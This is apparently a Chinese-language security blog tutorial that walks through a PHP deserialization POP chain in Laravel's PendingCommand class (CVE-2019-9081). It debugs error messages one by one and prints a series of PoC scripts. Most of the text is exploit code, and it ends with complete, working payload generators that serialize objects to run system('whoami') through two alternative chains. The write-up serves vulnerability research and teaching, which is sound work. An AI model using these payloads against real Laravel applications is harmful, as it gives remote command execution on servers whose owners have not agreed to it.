前言
这是继前两篇laravel系列之后所记录的第二条链,其实这条链同样适用于5.7,其分析过程可以说比较复杂,因此采用边debug边构造POC更加方便,算是一项技巧吧。
POP链构造
寻找__destruct方法
全局搜索之后,这次关注PendingCommand
类(Illuminate\Foundation\Testing):
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
要执行run
方法之前必须绕过if判断,但由于hasExecuted
默认为false
,所以可以不必理会。
跟进run方法
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
先跟进一开始的mockConsoleOutput
方法
跟进mockConsoleOutput方法
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
代码看起来很不友好,对于无需知道具体开发流程的我们来说,通过debug和报错信息来写POC会比较方便一些,所以先跳过该方法回到run
方法中。
回到run方法
先跳过mockConsoleOutput
方法,关注到下面try
模块的代码:
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
仍然有点长,不过分开来看就简单了:
-
app[Kernel::class]
:数组名为app
,其元素的键名为Kernel::class
,也即键名为Kernel
这个类的命名空间路径。 -
call
方法,而且有两个可控参数command
和parameters
。
因此要全局搜索存在call
方法的类,这里选择Kernel
类:
跟进call方法
public function call($command, array $parameters = [], $outputBuffer = null);
/**
* Queue an Artisan console command by name.
*
* @param string $command
* @param array $parameters
* @return \Illuminate\Foundation\Bus\PendingDispatch
*/
根据注释可知,command
应该为字符串类型,parameters
应该为数组类型。到这里可以尝试写POC进行试探。
初步编写POC
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
protected $command;
protected $parameters;
public function __construct($command="",$parameters="")
{
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace{
$p = new Illuminate\Foundation\Testing\PendingCommand("abc",array("abc"));
echo urlencode(serialize($p));
}
传值得到报错信息(这方面laravel
比thinkphp
做的好):
报错:Trying to get property 'expectedOutput' of non-object
。
对应出错的位置在createABufferedOutputMock
方法中的foreach
中,正是由于有$this->test->expectedOutput
语句而报错:找不到expectedOutput
这个属性。
回溯一下,这里调用createABufferedOutputMock
方法是来自mockConsoleOutput
方法中对$mock
变量的赋值,而mockConsoleOutput
方法则来自一开始的run
方法的第二行代码。
既然说test
的$expectedOutput
这个属性不存在,那就通过全局搜索哪个类存在expectedOutput
这个属性,但这里应该要顾及到执行完mockConsoleOutput
之后的foreach
循环中,同时还需要让test
拥有$expectedQuestions
这个属性:
所以综合起来就是说要找一个同时拥有$expectedOutput
和$expectedQuestions
两个属性的类。
而InteractsWithConsole.php
中的InteractsWithConsole
这个trait类中恰好就存在这两个属性。
因此test
应该赋值为InteractsWithConsole
一个对象,又由于是trait
的缘故,所以需要找到引用他的类,通过find usage
,找到了TestCase
类(Illuminate\Foundation\Testing):
又由于TestCase
类是abstract
抽象类,所以还要找到继承它的类,这里选的是ExampleTest
类(Tests\Feature\ExampleTest,尝试了其他的类一直无法实现):
修改POC
所以在之前的POC基础上修改,增加PendingCommand
类的一个属性$test
,并让它为ExampleTest
类的一个对象。
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
public $test;
protected $command;
protected $parameters;
public function __construct($test,$command="",$parameters="")
{
$this->test=test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Foundation\Testing\Concerns{
trait InteractsWithConsole
{
public $expectedQuestions = [];
public $expectedOutput = [];
}
}
namespace Illuminate\Foundation\Testing{
use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
abstract class TestCase{
use InteractsWithConsole;
}
}
namespace Tests\Feature{
use Illuminate\Foundation\Testing\TestCase;
class ExampleTest extends TestCase{}
}
namespace{
$e = new Tests\Feature\ExampleTest();
$e->expectedOutput = array("1"=>"1");
$e->expectedQuestions = array("2"=>"2");
$p = new Illuminate\Foundation\Testing\PendingCommand($e,"aaa",array("aaa"));
echo urlencode(serialize($p));
}
出现新的报错信息:
报错:Call to a member function bind() on null
这次出错的位置是在mockConsoleOutput
中后部分的调用bind
方法操作,说明我们已经跳过了前面createABufferedOutputMock
和foreach循环
两部分:
之所以会报错是因为app
没有赋值,根本无法调用app->bind
,因此要先搜索存在bind
方法的类,而且要求第一个参数名为abstract
。
这里选合适的Container
类(Illuminate\Container)
修改POC
在前面POC的基础上新增加PendingCommand
类的一个属性app
,并且让它为Container
类的一个对象。
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test,$app,$command="",$parameters="")
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Container{
class Container{}
}
namespace Illuminate\Foundation\Testing\Concerns{
trait InteractsWithConsole
{
public $expectedQuestions = [];
public $expectedOutput = [];
}
}
namespace Illuminate\Foundation\Testing{
use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
abstract class TestCase{
use InteractsWithConsole;
}
}
namespace Tests\Feature{
use Illuminate\Foundation\Testing\TestCase;
class ExampleTest extends TestCase{}
}
namespace{
$e = new Tests\Feature\ExampleTest();
$c = new Illuminate\Container\Container();
$e->expectedOutput = array("1"=>"1");
$e->expectedQuestions = array("2"=>"2");
$p = new Illuminate\Foundation\Testing\PendingCommand($e,$c,"aaa",array("aaa"));
echo urlencode(serialize($p));
}
再次得到新的报错信息:
报错:[Illuminate\Contracts\Console\Kernel] is not instantiable.
直接翻译就是某个地方无法实例化,出错的位置在notInstantiable
方法中,通过debug看哪里调用了notInstantiable
方法。
发现出现在build
方法中:
由于Illuminate\Contracts\Console\Kernel
是一个interface类型,无法进行实例化而报错。
调用该build
方法的原因是在resolve
方法中被调用,所以想办法在build
方法被调用之前就把resolve
方法结束。
跟进resolve方法
protected function resolve($abstract, $parameters = [], $raiseEvents = true)
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
······
关注第三行的if判断,如果能够成功return就可以提前结束resolved
方法了。
因此只需让isset($this->instances[$abstract])==true
和$needsContextualBuild==false
即可。
后者已经默认实现,现在只要在Container
类中添加一个instances数组即可,该数组必须要有一个键名为$abstract
也即Illuminate\Contracts\Console\Kernel
的元素。
修改POC
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test,$app,$command="",$parameters="")
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Container{
class Container{
protected $instances = [];
public function __construct($instances="")
{
$this->instances = $instances;
}
}
}
namespace Illuminate\Foundation\Testing\Concerns{
trait InteractsWithConsole
{
public $expectedQuestions = [];
public $expectedOutput = [];
}
}
namespace Illuminate\Foundation\Testing{
use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
abstract class TestCase{
use InteractsWithConsole;
}
}
namespace Tests\Feature{
use Illuminate\Foundation\Testing\TestCase;
class ExampleTest extends TestCase{}
}
namespace{
$e = new Tests\Feature\ExampleTest();
$c = new Illuminate\Container\Container(array('Illuminate\Contracts\Console\Kernel'=>1));
$e->expectedOutput = array("1"=>"1");
$e->expectedQuestions = array("2"=>"2");
$p = new Illuminate\Foundation\Testing\PendingCommand($e,$c,"aaa",array("aaa"));
echo urlencode(serialize($p));
}
此时成功return
,也意味着resolve
方法执行结束。
此时再看看运行结果,出现了报错:
报错信息:Call to a member function call() on int
直接翻译就是:在int上调用成员函数Call ()
,结合错误的位置,我们可以得知在结束resolve
方法之后,再经过一系列操作最终把一开始的run
方法中那个很复杂没有去理他的mockConsoleOutput
也执行完毕了,此时正在执行的是:
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
而且call
的前部分执行之后有:
$this->app[Kernel::class]=1
我们可以设置两个断点来验证:
第一个断点设在run
方法中:
第二个断点设在刚刚的对instances
数组判断:
debug发现程序先到达的是第一个断点,之后再到达第二个断点,而且在第二个断点有:
也即刚才我们成功return
的那一步。
而return
出键名Illuminate\Contracts\Console\Kernel
所对应的值1,由于1是int类型无法执行call
方法从而导致报错。
因此我们尝试修改POC中instances
数组Illuminate\Contracts\Console\Kernel
键名所对应的值为一个类,而且要求这个类存在call
方法。
而恰好Container
类存在call
方法:
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
因此尝试让instances
数组Illuminate\Contracts\Console\Kernel
键名所对应的值为Container
类,但因为这个类在POC中已经被用了,可以退一步找一个继承它的子类,似乎只有一个子类Application
(Illuminate\Foundation)。
修改POC
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test,$app,$command="",$parameters="")
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Container{
class Container{
protected $instances = [];
public function __construct($instances="")
{
$this->instances = $instances;
}
}
}
namespace Illuminate\Foundation\Testing\Concerns{
trait InteractsWithConsole
{
public $expectedQuestions = [];
public $expectedOutput = [];
}
}
namespace Illuminate\Foundation\Testing{
use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
abstract class TestCase{
use InteractsWithConsole;
}
}
namespace Illuminate\Foundation{
class Application{}
}
namespace Tests\Feature{
use Illuminate\Foundation\Testing\TestCase;
class ExampleTest extends TestCase{}
}
namespace{
$e = new Tests\Feature\ExampleTest();
$a=new Illuminate\Foundation\Application();
$c = new Illuminate\Container\Container(array('Illuminate\Contracts\Console\Kernel'=>$a));
$e->expectedOutput = array("1"=>"1");
$e->expectedQuestions = array("2"=>"2");
$p = new Illuminate\Foundation\Testing\PendingCommand($e,$c,"aaa",array("aaa"));
echo urlencode(serialize($p));
}
继续debug,发现return出Application
类之后,开始调用BoundMethod
类的call
方法:
跟进call方法
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
if (static::isCallableWithAtSign($callback) || $defaultMethod) {
return static::callClass($container, $callback, $parameters, $defaultMethod);
}
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
}
只需关注最后的call_user_func_array
方法,执行之前调用了getMethodDependencies
方法,跟进该方法:
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
$dependencies = [];
foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
}
return array_merge($dependencies, $parameters);
}
该方法最终返回的是array_merge($dependencies, $parameters)
,也即将$dependencies
和$parameters
合并,而且前者一直为空,后者是我们可以控制的。
执行完该方法之后回到call
方法中,执行call_user_func_array($callback,array_merge($dependencies, $parameters))
,也即执行call_user_func_array($command,$parameters)
,而这两个参数是可以被我们控制的。
最终POC
这里以执行system('whoami')
为例,对应的$command='system'、$parameters=['whoami']
:
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test,$app,$command="",$parameters="")
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Container{
class Container{
protected $instances = [];
public function __construct($instances="")
{
$this->instances = $instances;
}
}
}
namespace Illuminate\Foundation\Testing\Concerns{
trait InteractsWithConsole
{
public $expectedQuestions = [];
public $expectedOutput = [];
}
}
namespace Illuminate\Foundation\Testing{
use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
abstract class TestCase{
use InteractsWithConsole;
}
}
namespace Illuminate\Foundation{
class Application{}
}
namespace Tests\Feature{
use Illuminate\Foundation\Testing\TestCase;
class ExampleTest extends TestCase{}
}
namespace{
$e = new Tests\Feature\ExampleTest();
$a=new Illuminate\Foundation\Application();
$c = new Illuminate\Container\Container(array('Illuminate\Contracts\Console\Kernel'=>$a));
$e->expectedOutput = array("1"=>"1");
$e->expectedQuestions = array("2"=>"2");
$p = new Illuminate\Foundation\Testing\PendingCommand($e,$c,"system",array("whoami"));
echo urlencode(serialize($p));
}
运行结果:
另一种构造思路(CVE-2019-9081)
思路是在出现报错信息:[Illuminate\Contracts\Console\Kernel] is not instantiable.
时所得到的另一种不同的处理方式。
回顾一下,之所以会出现该报错是因为当$concrete=Illuminate\Contracts\Console\Kernel
时,在resolve
方法中进入了build
方法,而build
方法中对$concrete
先执行发射类操作,然后再判断该类是否可实例化,由于Illuminate\Contracts\Console\Kernel
是一个interface类而报错。
上一个思路是直接在build
方法执行前结束掉resolve
方法。
那如果不让其结束,而是继续执行build
方法,有没有办法改变$concrete
的值,使其是一个可实例化的类而不报错?回到resolve
方法,发现在调用build
方法之前有一句对$concrete
的赋值语句:
跟进getConcrete
方法:
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
可以发现bindings
只是Container
类的一个属性,是可以受我们控制的,我们完全可以通过控制它进而改变$concrete
为我们想要指定的类。
接下来就是要让其为哪个类的问题,结合上一个思路尝试让指定的类为Illuminate\Contracts\Console\Kernel
,编写POC:
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test,$app,$command="",$parameters="")
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Container{
class Container{
protected $bindings = [];
public function __construct($bindings)
{
$this->bindings = $bindings;
}
}
}
namespace Illuminate\Foundation\Testing\Concerns{
trait InteractsWithConsole
{
public $expectedQuestions = [];
public $expectedOutput = [];
}
}
namespace Illuminate\Foundation\Testing{
use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
abstract class TestCase{
use InteractsWithConsole;
}
}
namespace Illuminate\Foundation{
class Application{}
}
namespace Tests\Feature{
use Illuminate\Foundation\Testing\TestCase;
class ExampleTest extends TestCase{}
}
namespace{
$e = new Tests\Feature\ExampleTest();
$a=new Illuminate\Foundation\Application();
//$c = new Illuminate\Container\Container(array('Illuminate\Contracts\Console\Kernel'=>$a));
$c=new Illuminate\Container\Container(array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>'Illuminate\Foundation\Application')));
$e->expectedOutput = array("1"=>"1");
$e->expectedQuestions = array("2"=>"2");
$p = new Illuminate\Foundation\Testing\PendingCommand($e,$c,"system",array("whoami"));
echo urlencode(serialize($p));
}
可以看到POC是成功的:
接下来debug看看具体过程,当到达getConcrete
方法中时,由于我们人为让bindings[$abstract]
存在的缘故,成功改变了$concrete
的值。
接着回到resolve
方法,进入isBuildable
判断,判断结果为false:
因此进入make
方法,所传的参数是$concrete
,而make
实际上是重新执行了一次resolve
方法,但由于所传的参数是$concrete
,因此$abstract
的值此时即为$concrete
的值了,由于两者相等因此isBuildable
判断结果为true,将会进入build
方法:
在build
方法中,就能看到使用ReflectionClass
反射机制,实例化我们传入的类Application
:
这样就完成我们的初衷:成功执行build
方法了,并且返回的$object
是Application
,此后执行的call
方法与上一个分析思路相同。